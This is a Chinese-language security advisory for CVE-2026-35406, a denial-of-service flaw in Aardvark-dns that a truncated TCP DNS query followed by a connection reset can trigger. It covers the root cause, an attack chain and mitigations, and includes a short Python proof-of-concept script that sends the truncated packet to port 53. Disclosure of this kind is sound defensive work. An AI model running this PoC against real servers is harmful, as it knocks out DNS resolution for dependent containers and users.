IPBUF安全漏洞报告
English
CVE-2026-35406 CVSS 6.2 中危

CVE-2026-35406 Aardvark-dns 拒绝服务漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35406
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Aardvark-dns

相关标签

拒绝服务Aardvark-dnsDNS资源耗尽容器安全

漏洞概述

Aardvark-dns是一款专为A/AAAA容器记录设计的权威DNS服务器。在版本1.16.0到1.17.0中,该组件存在一个拒绝服务漏洞。具体而言,当服务端接收到特制的截断TCP DNS查询,并紧随一个连接重置操作时,aardvark-dns将陷入无法恢复的无限错误循环状态。此过程会导致服务器CPU资源被完全占用(达到100%),致使合法DNS解析请求无法处理,严重影响系统可用性。该问题已在1.17.1版本中被修复。

技术细节

该漏洞的根源在于aardvark-dns在解析TCP传输的DNS数据流时,未能正确处理异常的中断信号。攻击者利用了协议栈与DNS解析逻辑之间的竞态条件或边界检查缺失。具体而言,通过发送一个故意截断的TCP DNS查询报文,导致解析器预期接收更多数据,紧接着发送TCP连接重置(RST)包。这种组合操作触发了aardvark-dns内部的一个异常路径,使其进入一个无限循环的错误处理状态。在这个循环中,程序不断尝试恢复状态或报告错误,却因为状态机损坏而永远无法退出。这直接导致CPU核心被锁定在100%利用率,系统无法响应正常的DNS查询请求。虽然CVSS向量标注为本地攻击,但在多租户容器环境或共享主机环境中,这构成了严重的拒绝服务风险,可能导致依赖该DNS服务的Pod间通信中断。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行受影响版本的Aardvark-dns(1.16.0至1.17.0)。
STEP 2
构造恶意载荷
攻击者编写脚本,生成一个特定的截断TCP DNS查询报文,并准备在发送后立即断开连接。
STEP 3
发送攻击请求
攻击者向目标DNS服务器的TCP端口(53)发送截断数据包,紧接着发送TCP RST包重置连接。
STEP 4
触发漏洞
aardvark-dns未能正确处理该异常序列,进入无限错误循环,导致CPU资源耗尽,服务停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 53 # A truncated DNS header (Transaction ID: 0x1234, Flags: 0x0100, Questions: 1) # This packet is incomplete to simulate a truncated query. truncated_packet = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00' def send_malicious_dns_query(): try: # Establish TCP connection to the DNS server print(f"Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((TARGET_IP, TARGET_PORT)) # Send the truncated packet print("Sending truncated DNS query...") s.send(truncated_packet) # Immediately close the socket to send a RST or FIN # This simulates the connection reset mentioned in the CVE print("Resetting connection...") s.close() print("[+] Payload sent successfully. Check target CPU usage.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malicious_dns_query()

影响范围

Aardvark-dns 1.16.0
Aardvark-dns 1.17.0

防御指南

临时缓解措施
在未升级版本前,建议在网络层面实施严格的访问控制策略,仅允许受信任的容器或主机与aardvark-dns服务通信。同时,建议部署资源监控工具,一旦发现DNS服务进程CPU使用率异常飙升至100%,立即自动重启该服务以恢复可用性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表